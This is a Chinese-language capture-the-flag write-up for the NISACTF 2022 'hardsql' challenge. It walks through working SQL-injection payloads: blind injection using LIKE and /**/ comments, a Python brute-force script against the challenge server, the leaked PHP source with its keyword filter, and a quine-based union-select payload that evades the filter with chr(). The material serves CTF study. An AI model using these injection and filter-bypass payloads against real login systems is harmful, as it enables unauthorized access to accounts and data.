题目地址:[NSSCTF - NISACTF 2022]hardsql (ctfer.vip)
$password=$_POST['passwd'];
$sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';";
fuzz一下,过滤了if,sleep,char,||,=,空格等,但是有一点是题目给出了查询语句,也就是我们知道了表明字段名,而且or没有被过滤,这就可以使用like去代替=,用/**/代替空格去进行盲注
payload=1'/**/or/**/passwd/**/like/**/'b2%'# 回显成功,第一位为b
写出盲注脚本
import requests
url = "http://1.14.71.254:28409/index.PHP"
set = 'qwertyuiopasdfghjklzxcvbnm0123456789'
password = ""
for i in range(1,50):
for j in set:
payload = "-1'/**/or/**/passwd/**/like/**/'{}%'#".format(password + j)
data = {'username': 'bilala', 'passwd': payload}
resp = requests.post(url=url,data=data)
#print(res.text)
if "wrong password" in resp.text:
password += j
print(password)
break
print(password)
得到密码b2f2d15b3ae082ca29697d8dcd420fd7
登入之后并没有flag而是给出了源码
<?PHP
//多加了亿点点过滤
include_once("config.PHP");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}
function checksql($s) {
if(preg_match("/if|regexp|between|in|flag|=|>|<|and|\||right|left|insert|database|reverse|update|extractvalue|floor|join|substr|&|;|\\\$|char|\x0a|\x09|column|sleep|\ /i",$s)){
alertMes('waf here', 'index.PHP');
}
}
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['passwd']) && $_POST['passwd'] != '') {
$username=$_POST['username'];
$password=$_POST['passwd'];
if ($username !== 'bilala') {
alertMes('only bilala can login', 'index.PHP');
}
checksql($password);
$sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';";
$user_result=MysqLi_query($MysqLLink,$sql);
$row = MysqLi_fetch_array($user_result);
if (!$row) {
alertMes('nothing found','index.PHP');
}
if ($row['passwd'] === $password) {
if($password == 'b2f2d15b3ae082ca29697d8dcd420fd7'){
show_source(__FILE__);
die;
}
else{
die($FLAG);
}
} else {
alertMes("wrong password",'index.PHP');
}
}
?>
得到flag的关键代码入下
if ($row['passwd'] === $password) {
if($password == 'b2f2d15b3ae082ca29697d8dcd420fd7'){
show_source(__FILE__);
die;
}
else{
die($FLAG);
}
} else {
alertMes("wrong password",'index.PHP');
}
}
其中外层if内的条件要求我们查询结果的密码,要与输入的密码一致,但内层if要求又不是刚刚注出来的密码,这里就要运用的quine注入
Quine的分析
Quine叫做自产生程序,就是可以输出本身源代码的程序,在sql注入技术中,这是一种使得输入的sql语句和输出的sql语句一致的技术,常用于一些特殊的登陆绕过sql注入中。
首先先了解一下replace()函数
- replace(object,search,replace)
- 把object对象中出现的的search全部替换成replace,然后返回替换后的结果
例如
select replace(".",char(46),".");#char(46)就是"."
结果为
MysqL> select replace(".",char(46),".");
+---------------------------+
| replace(".",char(46),".") |
+---------------------------+
| . |
+---------------------------+
1 row in set (0.00 sec)
如何让输入输出一致呢
将第一个个和第三个参数都改为'replace(".",char(46),".")'
就是select replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")');
结果为
MysqL> select replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")');
+---------------------------------------------------------------------------+
| replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")') |
+---------------------------------------------------------------------------+
| replace("replace(".",char(46),".")",char(46),"replace(".",char(46),".")") |
+---------------------------------------------------------------------------+
1 row in set (0.00 sec)
为什么会返回这个结果呢
sql语句为select replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")');
第一个参数'replace(".",char(46),".")'
第二个参数char(46)也就是"."
第三个参数'replace(".",char(46),".")'
也就是用第三个参数将第一个字符串里面的.换成replace(".",char(46),".")
但是两个句子在第一个参数和第三个参数当中的引号还是有差别的,还并不是输入输出一致
要做的输入输出一致还必须在嵌套一层将双引号替换为单引号#char(34)为",char(39)为'
select replace(replace('"."',char(34),char(39)),char(46),".");
#将"."的"换成'然后将.换成.
结果为
MysqL> select replace(replace('"."',char(34),char(39)),char(46),".");
+--------------------------------------------------------+
| replace(replace('"."',char(34),char(39)),char(46),".") |
+--------------------------------------------------------+
| '.' |
+--------------------------------------------------------+
1 row in set (0.00 sec)
根据上面的形式要使得输入和输出结果一样
就用replace(replace(".",char(34),char(39)),char(46),".")替换"."也就是
select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');
运行结果为
MysqL> select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
就达到了输入输出一样的结果
根据上面的推导,那么得出构造Quine的基本形式为
replace(replace('str',char(34),char(39)),char(46),'str')
先将str中的双引号换成单引号,然后用str替换str中的.
而str的基本形式为
就是将quine语句中的'str'部分换成"."(换成其他"!"等的也可以),然后其他地方的'换成"
也就是replace(replace(".",char(34),char(39)),char(46),".")
这样嵌套起来就达到了输入输出的相同的目的
那么回到题目中
题目给的条件是
$password=$_POST['passwd'];
$sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';";
那么我们payload的构造quine的基本形式就应该是
1'/**/union/**/select/**/replace(replace('str',char(34),char(39)),char(46),'str')#
而str的基本形式就是
1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#
char被过滤了使用chr(或者0x)绕过之后的最终payload为
1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",chr(34),chr(39)),chr(46),".")#',chr(34),chr(39)),chr(46),'1"/**/union/**/select/**/replace(replace(".",chr(34),chr(39)),chr(46),".")#')#
登入后得到flag
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。